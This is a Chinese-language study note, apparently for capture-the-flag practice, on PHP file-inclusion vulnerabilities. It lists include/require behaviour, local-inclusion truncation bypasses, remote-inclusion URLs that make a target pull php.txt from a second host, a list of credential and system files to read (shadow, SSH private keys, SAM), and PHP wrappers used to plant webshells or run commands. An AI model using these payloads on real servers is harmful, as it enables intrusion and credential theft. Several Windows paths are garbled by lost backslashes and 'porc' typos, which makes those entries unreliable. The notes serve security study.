文件包含
文件包含函数
include() #找不到被包含文件,报错,但会继续 运行脚本
include_once()#区别在 于,当重复调用同一文件时,程序只调用一次
require() #找不到被包含文件,报错,并且停止 运行脚本
require_once()#与require类似,区别在于, 当重复调用同一文件时,程序只调用一次
利用条件
- 具有相关的文件包含函数。
- 文件包含函数中存在动态变量,比如
include $file;
。 - 攻击者能够控制该变量,比如
$file = $_GET['file']
漏洞分类
本地文件包含
绕过
- %00截断 条件:magic_quotes_gpc = Off php版本<5.3.4
- 路径长度截断 条件:windows OS,点号需要长于256;linux OS 长于4096
- 点号截断 条件:windows OS,点号需要长于256
远程文件包含
必备条件
allow_url_fopen = On
allow_url_include = On
示例
问号绕过 http://www.ctfs-wiki.com/FI/WFI.php? filename=http://192.168.91.133/FI/php.txt?
#号绕过 http://www.ctfs-wiki.com/FI/WFI.php? filename=http://192.168.91.133/FI/php.txt%23
空格绕过 http://www.ctfs-wiki.com/FI/WFI.php? filename=http://192.168.91.133/FI/php.txt% 20
常见敏感路径
window
C:oot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windows
epairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息
C:Windowswin.ini //Windows系统的一个基本系统配置文件
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数
PHP伪协议
php:// 输入输出流
php://filter(本地磁盘文件进行读取)
php://input
php://input (读取POST数据)
php://input(写入木马)
php://input(命令执行)
file://伪协议 (读取文件内容)
data://伪协议
phar://伪协议
zip://伪协议
伪协议后续边学边补充